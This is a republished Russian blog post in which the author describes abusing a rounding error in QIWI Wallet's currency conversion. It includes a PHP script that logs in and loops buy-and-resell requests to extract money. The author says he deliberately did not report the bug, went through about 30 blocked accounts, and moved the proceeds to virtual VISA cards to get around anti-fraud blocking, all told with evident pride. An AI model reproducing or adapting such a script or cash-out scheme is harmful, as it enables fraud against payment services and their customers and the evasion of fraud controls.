- PVSM.RU - https://www.pvsm.ru -
upd: содержимое теперь можно просматривать! :)
Неделю назад мною была найдена забавная ошибка на сайте QIWI, точнее на новой версии сайта VISA QIWI WALLET.
Когда QIWI запускали новую версию сайта, они добавили пару сервисов, такие как:
В переводах между счетами таилась фатальная ошибка, подробнее под катом.
6 декабря мне понадобилось оплатить некую услугу через QIWI-кошелёк. Зайдя на сайт QIWI я впервые увидел обновленный интерфейс, который по начале меня порадовал, а в последствие немного огорчил, потому что я не смог найти, как пополнить свой кошелёк. В итоге просто попросил знакомого перевести мне со своего QIWI-кошелька.
Разобравшись со своими делами, я полез осваивать обновленный интерфейс. Увидев возможность создавать счета, тут же создал счета во всех возможных валютах (USD, EUR, KZR, RUB). После сего действия, меня заинтересовала возможность перевода из одной валюты в другую
Моя кошерная любовь к деньгам тут же настроила
Попробовав купить-продать 0,03 EUR несколько раз, понял, что ошибка действительно имеет место быть и что мой счёт пополнился на пару рублей. Сразу на ум пришла пословица «копейка рубль бережет».
Осторожно — быдлокод
Зная, как работает техподдержка QIWI (можно месяцы дожидаться ответа, причем не факт, что ответ будет полезен), решил не заморачиваться попытками достучаться туда и решил немножко попользоваться 'фичей'. Понимая, что вручную по 14 копеек за операцию я многое не получу, в скоростном режиме набыдлокодил скрипт (на PHP, ибо больше ничего не знаю), который:
В итоге тратим 40,59 RUB, а получаем 45,21 RUB.
function get_t($cookie)
{
//получаем идентификатор операции
preg_match('|"t":"(.*?)"|', curl('https://w.qiwi.com/user/person/account/transfer.action', $cookie), $tmp);
return $tmp[1];
}
$number = '';
$password = '';
//авторизация
preg_match('|Set-Cookie: (.*?);|', curl('https://w.qiwi.com/auth/login.action?source=MENU&login=%2B'.$number.'&password='.$password, null, array('Accept: application/json, text/javascript, */*; q=0.01', 'X-Requested-With: XMLHttpRequest')), $tmp);
$cookies = $tmp[1];
//бесконечная работа, естественно
while (true)
{
$t = get_t($cookies);
//покупаем 0,99 EUR за 40,59 RUB (1.23 * 33)
curl('https://w.qiwi.com/user/person/account/state.action?extra%5B'account'%5D='.$number.'&source=qiwi_RUB¤cy=EUR&amountInteger=0&amountFraction=99&state=CONFIRM&t='.$t.'&protected=true', $cookies);
//подтверждение покупки
curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t, $cookies);
//33 запроса на продажу 0,03 EUR
for ($i=0; $i<33; $i++)
{
$t = get_t($cookies);
//33 раза продаём 0,03 EUR по 1,37 RUB (45,21)
curl('https://w.qiwi.com/user/person/account/state.action?extra%5B'account'%5D='.$number.'&source=qiwi_EUR¤cy=RUB&amountInteger=1&amountFraction=37&state=CONFIRM&t='.$t.'&protected=true', $cookies);
curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t, $cookies);
}
}
function curl($url, $cookie = false, $httpheaders = false)
{
..
}
Этот простейший скрипт позволял извлекать из воздуха около 10 рублей в минуту => 600 рублей в час.
Изначально деньги с кошелька можно было тратить куда угодно (хоть напрямую переводы на банковскую карту), в последствие QIWI начали блокировать аккаунты (да, мне не хватало одного аккаунта), блокировали операции (моментально распознавались антифрод системой), но сам баг(?) не исправляли.
В последствие было выявлено, что можно создать виртуальную карту VISA и постепенно (по мере накопления денежных средств) сбрасывать на неё деньги, ведь при блокировке аккаунта виртуальная карточка не блокировалась :)
Заблокировано около 30 аккаунтов, получено море веселья и удовольствия (у меня особые чувства к подобным вещам), для себя ещё раз подтвердил, что какой бы крупной не была кампания, мелкие ошибки (с крупными последствиями) всегда можно найти :)
На данный момент подобное провернуть уже нельзя, хотя QIWI при высчитывание стоимости конвертации валюты показывает старые значения.
Надеюсь QIWI на меня не в обиде.
Не особо умею писать статьи, простите за недочёты.
Не могу писать в «платёжные системы», увы.
Автор: Diabllo
Источник [2]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/22685
Ссылки в тексте:
[1] мозг: http://www.braintools.ru
[2] Источник: http://habrahabr.ru/post/162693/
Нажмите здесь для печати.